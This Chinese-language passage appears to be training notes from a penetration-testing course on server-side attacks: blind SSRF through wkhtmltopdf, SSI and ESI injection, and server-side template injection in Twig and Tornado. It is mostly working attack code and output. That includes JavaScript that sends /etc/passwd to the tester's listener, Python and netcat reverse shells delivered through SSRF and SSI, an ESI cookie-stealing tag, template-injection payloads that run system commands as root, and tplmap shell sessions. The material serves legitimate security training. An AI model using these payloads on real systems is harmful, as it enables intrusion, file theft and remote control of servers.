为了简单起见,我们将用于测试SSRF盲漏洞的服务将是在Pwnbox或本地VM中运行并在端口9090上侦听的简单Netcat侦听器。如果您使用的是本地VM,请记住使用提供的VPN密钥。因此,在上面的HTML文件中,SERVICE IP应该是Pwnbox或本地VM的VPN/TUN IPPORT应该是9090

Netcat Listener

mikannse7@htb[/htb]$ sudo nc -nlvp 9090

Listening on 0.0.0.0 9090

image

提交文件后,我们将在浏览器中收到来自Web应用程序的消息,并向我们的服务器发出请求,显示用于将HTML文档转换为PDF的应用程序。

image

image

通过检查请求,我们注意到User-Agent中的wkhtmltopdf。如果我们浏览wkhtmltopdf的下载网页,下面的声明引起了我们的注意:

Do not use wkhtmltopdf with any untrusted HTML – be sure to  sanitize any user-supplied HTML/JS; otherwise, it can lead to the  complete takeover of the server it is running on! Please read the  project status for the gory details.

很好,我们可以在wkhtmltopdf中执行JavaScript!让我们通过创建以下HTML文档来利用此功能读取本地文件。

Code:

<html>
<body>
<b>Exfiltration via Blind SSRF</b>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>

在本例中,我们使用两个XMLHttpRequest对象,一个用于阅读本地文件,另一个用于将其发送到服务器。此外,我们使用btoa函数来发送以Base64编码的数据。

image

让我们启动一个HTTP服务器,提交新的HTML文件,等待响应,并在处理完HTML文件后对其内容进行解码,如下所示。

Netcat Listener

mikannse7@htb[/htb]$ sudo nc -nlvp 9090

Listening on 0.0.0.0 9090
GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1
Origin: file://
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 10.10.14.221:9090

image

Base64 Decoding

mikannse7@htb[/htb]$ echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

在上一节中,我们通过SSRF利用了一个内部应用程序,并在目标服务器上执行了远程命令。当前场景中存在相同的内部应用程序(internal.app.local)。让我们对底层服务器进行妥协,但这次是通过创建一个带有有效负载的HTML文档来利用本地应用程序侦听internal.app.local。

我们将使用以下反向shell负载(一旦实现远程代码执行,就很容易识别Python是否安装)。

Bash Reverse Shell

Code: 验证码: bash

export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

请记住,我们需要对有效负载进行URL编码。在这种情况下,我们需要对它进行两次编码。最终结果将类似于下面。

URL Encoded Payload

Code:

export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527

现在,让我们创建一个HTML文件,它对internal.app.local执行GET请求,到达易受SSRF远程代码执行攻击的本地应用程序,并执行我们的反向shell。

HTML Payload

Code:

<html>
<body>
<b>Reverse Shell via Blind SSRF</b>
<script>
var http = new XMLHttpRequest();
http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true);
http.send();
http.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>

一旦我们在机器上启动Netcat侦听器并提交上面的HTML文件,我们就会收到来自internal.app.local的反向shell。

mikannse7@htb[/htb]$ nc -nvlp 9090

listening on [any] 9090 ...
Connection received on 10.129.201.238 33100

# whoami

whoami
root

Time-Based SSRF

我们也可以通过观察响应的时间差异来确定SSRF漏洞的存在。此方法还有助于发现内部服务。

让我们将下面的文档提交到上一节的PDF应用程序,并观察响应时间。

Code: 验证码: htmlHTML

<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://blah.nonexistent.com">
</body>
</html>

image

我们可以看到服务花了10秒来响应请求。如果我们在HTML文档中提交一个有效的URL,响应时间会更短。请记住internal.app.local是一个有效的内部应用程序(我们可以在上一节中通过SSRF访问)。

image

在某些情况下,应用程序可能会立即失败,而不是花更多的时间来响应。因此,我们需要仔细观察请求之间的时间差。

Server-Side Includes (SSI) Injection

Server-Side Includes Overview

服务器端包含(SSI)是Web应用程序使用的一种技术,用于在加载之前或渲染过程中通过评估SSI指令在HTML页面上创建动态内容。一些SSI指令是:

Code:

// Date
<!--#echo var="DATE_LOCAL" -->

// Modification date of a file
<!--#flastmod file="index.html" -->

// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->

// Including a footer
<!--#include virtual="/footer.html" -->

// Executing commands
<!--#exec cmd="ls" -->

// Setting variables
<!--#set var="name" value="Rich" -->

// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->

// Including files (same directory)
<!--#include file="file_to_include.html" -->

// Print all variables
<!--#printenv -->

在Web应用程序上使用SSI可以通过检查扩展名(如.shtml、.shtm或. stm)来识别。也就是说,存在允许其他扩展(如.html)处理SSI指令的非默认服务器配置。

我们需要通过输入字段向目标应用程序提交有效负载,例如上面提到的那些,以测试SSI注入。如果存在漏洞,Web服务器将在呈现页面之前解析和执行指令,但要注意这些漏洞也可能以盲格式存在。成功的SSI注入可能会导致从本地文件中提取敏感信息,甚至在目标Web服务器上执行命令。

SSI Injection Exploitation Example

让我们在一个面向互联网的Web应用程序上练习SSI注入(目标可以在本节的最后生成)。导航到本节的结尾并单击Click here to spawn the target system,然后使用提供的Pwnbox或本地VM来沿着。通过浏览到产生的目标,我们遇到了下面的。

image

让我们通过提交上一节中提到的一些SSI指令来重点识别SSI注入漏洞。

Code:

1. <!--#echo var="DATE_LOCAL" -->
2. <!--#printenv -->

Date 日期

image

image

All Variables

image

image

正如我们所看到的,应用程序确实容易受到SSI注入! 现在,继续本节结尾处的练习,并利用上一节中列出的可能导致对底层系统执行命令的任何SSI指令来完成练习。

注意:正如我们所看到的,通过SSI在目标应用程序上运行OS命令是可能的,但是谁不喜欢shell呢?请记住以下反向shell负载,即使在默认情况下不包括执行功能的OpenBSD-netcat上也可以工作。还要注意,由于网络限制,您将无法在本节的练习中获得反向shell!

Reverse Shell

Code:

<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
  • mkfifo /tmp/foo:在/tmp/foo中创建一个FIFO特殊文件
  • nc <IP> <PORT> 0</tmp/foo:连接到pentester机器并重定向标准输入描述符
  • | bin/bash 1>/tmp/foo:执行/bin/bash将标准输出描述符重定向到/tmp/foo
  • rm /tmp/foo:删除FIFO文件

Edge-Side Includes (ESI)

Edge Side Includes(ESI)是一种基于XML的标记语言,用于通过启用Web内容的重缓存来解决性能问题,否则通过传统的缓存协议将无法存储这些内容。Edge Side Includes(ESI)允许在网络边缘(内容交付网络、用户浏览器或反向代理)进行动态Web内容组装,方法是通过ESI元素标记(XML标记)指示页面处理器完成页面组装需要做什么。

ESI标记用于指示HTTP代理(反向代理、缓存服务器等)以获取关于具有已经高速缓存的模板的网页的附加信息。在将网页呈现给最终用户之前,该信息可能来自另一个服务器。ESI使完全缓存的网页包含动态内容。

当攻击者设法在HTTP响应中反映恶意ESI标记时,会发生边缘侧包含注入。此漏洞的根本原因是HTTP代理无法验证ESI标记来源。他们将很乐意解析和评估上游服务器的合法ESI标记以及攻击者的恶意ESI标记。

虽然我们可以通过在搜索Surrogate-Control: content="ESI/1.0"时检查响应头来识别ESI的使用,但我们通常需要使用盲攻击方法来检测ESI是否在使用中。具体来说,我们可以将ESI标记引入到HTTP请求中,以查看是否有任何中间代理正在解析请求以及是否可以进行ESI注入。一些有用的ESI标记是:

ESI Tags

Code:

// Basic detection
<esi: include src=http://<PENTESTER IP>>

// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>

// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

在某些情况下,当处理ESI指令的应用程序支持XML(一种用于转换XML文件的动态语言)时,我们可以实现远程代码执行。在这种情况下,我们可以将dca=xslt传递给payload。所选的XML文件将被处理,可能会执行XML外部实体注入攻击(XXE),但有一些限制。

GoSecure创建了一个表,以帮助我们了解可能的攻击,我们可以根据支持的功能,针对不同的具有ESI功能的软件进行尝试。让我们首先对下表的列名进行一些解释:

  • 包括:支持<esi:includes>指令
  • Vars:支持<esi:vars>指令。用于绕过XSS过滤器
  • Cookie:ESI引擎可访问文档Cookie
  • 需要上游标头:除非上游应用程序提供标头,否则代理应用程序将不会处理ESI语句
  • 主机允许列表:在这种情况下,ESI包含只能从允许的服务器主机,使SSRF,例如,只能对这些主机
Software Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Yes Yes Yes是的 Yes No
Varnish Cache Yes No No没有 Yes Yes
Fastly Yes No No没有 No Yes
Akamai ESI Test Server (ETS) Yes Yes Yes是的 No No
NodeJS esi Yes Yes Yes是的 No No
NodeJS nodesi Yes No No没有 No Optional

Server-Side Template Injections

模板引擎从模板文档中读取标记化的字符串,并在输出文档中生成具有实际值的呈现字符串。模板通常被Web开发人员用作创建动态网站内容的中间格式。服务器端模板注入(SSTI)本质上是在模板中注入恶意模板指令,利用模板引擎将用户输入与给定模板不安全地混合在一起。

下面你会发现一些应用程序,你可以在本地运行,以更好地理解模板。如果你不能做到这一点,不要担心。以下各节介绍了使用模板的各种应用程序的练习。

现在让我们考虑以下文件:

app.py

Code:

#/usr/bin/python3
from flask import *

app = Flask(__name__, template_folder="./")

@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)

index.html

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{{title}}</h1>
<p>{{content}}</p>
</body>
</html>

当我们访问网站时,我们将收到一个HTML页面,其中包含模板页面上双括号内的titlecontent变量的值。非常简单,正如我们所看到的,用户对变量没有任何控制权。但是,当用户输入没有经过任何验证就进入模板时,会发生什么呢?

app.py

Code:

#/usr/bin/python3
from flask import *

app = Flask(__name__, template_folder="./")

@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)

@app.route("/hello", methods=['GET'])
def hello():
name = request.args.get("name")
if name == None:
return redirect(f'{url_for("hello")}?name=guest')
htmldoc = f"""
<html>
<body>
<h1>Hello</h1>
<a>Nice to see you {name}</a>
</body>
</html>
"""
return render_template_string(htmldoc)

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)

在这种情况下,我们可以直接注入一个模板表达式,服务器将评估它。这是一个安全问题,可能会导致目标应用程序上的远程代码执行,正如我们将在下面的部分中看到的那样。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}'

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 79
Server: Werkzeug/2.0.2 Python/3.9.7
Date: Mon, 25 Oct 2021 00:12:40 GMT


<html>
<body>
<h1>Hello</h1>
<a>Nice to see you 49</a> # <-- Expresion evaluated
</body>
</html>

SSTI标识

我们可以通过在我们控制的输入中注入不同的标记来检测SSTI漏洞,以查看它们是否在响应中进行了评估。我们不一定需要看到注入的数据反映在我们收到的响应中。有时它只是在不同的页面上进行评估(盲)。

检测进样的最简单方法是在花括号中提供数学表达式,例如:

Code:

{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
...

当注入这些有效负载时,我们将在响应中查找“49”,以确定发生了服务器端评估。

识别SSTI最困难的方法是通过注入模板表达式中使用的特殊字符组合来模糊模板。这些字符包括${{<%[%'"}}%\。如果导致异常,这意味着我们可以控制服务器根据模板表达式解释的内容。

我们可以使用Tplmap或J2EE Scan(Burp Pro)等工具来自动测试SSTI漏洞或创建有效负载列表以用于Burp Intruder或ZAP。

下面来自PortsSwigger的图表可以帮助我们确定我们是否正在处理SSTI漏洞,并确定底层模板引擎。

image

除了上面的图表,我们可以尝试以下方法来识别我们正在处理的技术:

  • 检查技术名称的详细错误。有时候,仅仅复制谷歌搜索中的错误就可以为我们提供关于所使用的底层技术的直接答案
  • 检查扩展。例如,.jsp扩展名与Java相关联。在处理Java时,我们可能面临的是表达式语言/OGNL注入漏洞,而不是传统的SSTI
  • 发送带有未闭合花括号的表达式,以查看是否生成详细错误。不要在生产系统上尝试这种方法,因为可能会导致Web服务器崩溃。

SSTI Exploitation Example 1

假设我们正在测试一个面向互联网的应用程序(目标可以在本节的最后生成)。我们的重点将是确定应用程序是否容易受到服务器端模板注入的攻击。

image

让我们在输入字段中提交花括号中的数学表达式,例如在SSTI Identification部分中提到的那些,从{7*7}开始。

image

看起来应用程序没有评估提交的表达式。让我们继续另一个表达式,这次是${7*7}

image

看起来应用程序也没有计算这个表达式。{{7*7}}怎么样?

image

幸运的是,这一次,应用程序评估了我们提交的最新数学表达式,并返回了结果49。看起来我们可能正在处理一个SSTI漏洞!

如前所述,在处理SSTI漏洞时,我们需要做的第一件事是识别应用程序正在使用的模板引擎。让我们使用PortSwigger的图表来帮助我们(如前一节所示)。我们已经知道{{7*7}}表达式被成功地求值了。图中建议尝试的下一个表达式是{{7*'7'}}。让我们尝试一下,看看应用程序如何响应。

image

应用程序也成功地计算了此表达式。根据PortSwigger的图表,我们正在处理Jinja 2或Twig模板引擎。

我们可以使用模板引擎特定的有效载荷来确定正在使用的是哪两个。让我们尝试下面的Twig特定的一个:

Code:

{{_self.env.display("TEST")}}

image

成功评估了Twig特定的有效载荷。一个Twig模板引擎正在后端使用。有关模板引擎特定有效负载的详细列表,请参阅以下资源:

我们可以通过tplmap自动执行模板引擎识别过程,如下所示。如果您没有注意到,用户的输入是通过name参数和POST请求提交的(因此是-d中的tplmap参数)。

tplmap.py

mikannse7@htb[/htb]$ git clone https://github.com/epinna/tplmap.git
mikannse7@htb[/htb]$ cd tplmap
mikannse7@htb[/htb]$ pip install virtualenv
mikannse7@htb[/htb]$ virtualenv -p python2 venv
mikannse7@htb[/htb]$ source venv/bin/activate
mikannse7@htb[/htb]$ pip install -r requirements.txt
mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john

[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code

[+] Rerun tplmap providing one of the following options:

--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

下一步是在目标服务器上获得远程代码执行。在移动有效负载部分之前,应该提到Twig有一个变量_self,简单来说,它使一些内部API公开。这个_self对象已经被记录下来了,所以我们不需要强制使用任何变量名(在接下来的SSTI利用示例中会有更多内容)。回到远程代码执行部分,我们可以使用getFilter函数,因为它允许通过以下过程执行用户定义的函数:

  • 通过registerUndefinedFilterCallback将函数注册为过滤器回调
  • 调用_self.env.getFilter()来执行我们刚刚注册的函数

Payload

Code:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}

这次让我们使用cURL提交有效负载。

cURL - Interacting with the Target cURL -与目标交互

mikannse7@htb[/htb]$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/default.css" media="screen"/>
<title>SSTI</title>
</head>
<body>
<div class="container">
<div class="main">
<div class="header">
<div class="title">
<h1>I'm here to say hello</h1>
</div>
</div>
<div class="content">


<a>
Who are you?
<form method='post' action=''>
<div class="form-group">
<input placeholder="Name" name="name" size=70></input> <button class="btn btn-default" type="submit" name='submit'>Send</button>
</div>
</form>
Hello uid=0(root) gid=0(root) groups=0(root)
Linux serversideattackssstitwig-60784-78bd58b5b-pmvvv 4.19.0-17-cloud-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
serversideattackssstitwig-60784-78bd58b5b-pmvvv
serversideattackssstitwig-60784-78bd58b5b-pmvvv!</a>

</div>
<div class="clearer"><span></span></div>
</div>
<div class="footer">Break me!</div>
</div>
</body>

正如我们在上面的输出/响应中所看到的,提交的有效负载得到了评估,并且指定的命令(iduname -ahostname)被成功执行。

同样,我们可以通过tplmap自动执行模板引擎利用过程,如下所示。

tplmap.py - OS Shell

mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell

[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code

[+] Run commands on the operating system.

Linux $

我们现在可以通过为我们建立的shell tplmap执行我们选择的任何命令!

现在,继续本节的练习,通过自己制作有效载荷或通过在tplmap的帮助下获得的shell来完成目标。

注意:当我们注意到我们提交的数学表达式被计算时,应用程序也可能容易受到XSS的攻击。

让我们通过将大括号内的XSS有效负载提交给本节的练习目标来测试上面的语句。这样做的结果可以在下面的图片中看到。

image

SSTI Exploitation Example 2

假设我们的任务是对另一个面向互联网的应用程序进行渗透测试。我们的重点将是确定应用程序是否容易受到服务器端模板注入的攻击。

image

如果您使用Firefox的Web开发工具([Ctrl]+[Shift]+[I])检查应用程序的流量,您会注意到用户输入在名为email的参数中提交,并通过POST请求提交给http://<TARGET IP>:<PORT>/jointheteam

让我们将大括号中的数学表达式提交到输入字段,例如在SSTI Identification部分中提到的那些,从${7*7}开始,正如PortSwigger的图表所示。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam

<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email ${7*7} has been subscribed. You&#39;ll hear from us soon!</em></h3>
</body>

看起来应用程序没有评估提交的表达式。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -X POST -d 'email={{7*7}}' http://<TARGET IP>:<PORT>/jointheteam

<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You&#39;ll hear from us soon!</em></h3>
</body>

应用程序这次评估了提交的表达式。按照PortSwigger的图表,让我们继续识别底层模板引擎。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -X POST -d 'email={{7*'7'}}' http://<TARGET IP>:<PORT>/jointheteam

<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You&#39;ll hear from us soon!</em></h3>
</body>

应用程序评估了我们提交的最新表达式。所以,根据图表,我们应该处理Twig或Jinja2模板引擎,对吗?

不幸的是,事实并非如此!如果我们提交任何Twig或Jinja 2特定的负载,应用程序将返回500: Internal Server Error。下面是一些这种行为的例子。

mikannse7@htb[/htb]$ curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteam

<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>
mikannse7@htb[/htb]$ curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam

<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>

我们使用的有效负载(以及更多)可以在[PayloadsAllTheThings - Template Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#jinja2)和HackTricks- SSTI(服务器端模板注入)上找到

既然没有一种方法是无懈可击的,那就应该直截了当了。我们可以从上面提到的资源中编译一个模板引擎特定的有效负载列表,并模糊应用程序,直到我们得出正在使用的模板引擎的结论。

最终,当提交龙卷风特定的有效载荷时,我们会遇到下面的情况。

mikannse7@htb[/htb]$ curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam

<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 0 has been subscribed. You&#39;ll hear from us soon!</em></h3>
</body>

看来我们终于得到了!Tornado正在后端使用。

如前所述,tplmap可用于自动化模板引擎识别和开发过程。

tplmap.py

mikannse7@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah

Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if POST parameter 'email' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

POST parameter: email
Engine: Tornado
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

SSTI Exploitation Example 3

让我们看看SSTI系列的最后一个应用程序。再次强调,我们的重点是确定应用程序是否容易受到服务器端模板注入的攻击。

image

用户输入通过GET请求通过cmd参数提交。让我们在输入字段中的花括号中提交数学表达式,例如在SSTI Identification部分中提到的那些,从{7*7}开始。

cURL - Interacting with the Target

mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={7*7}"

<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;

}
#command:active {
width: auto;
}
</style>
<head>
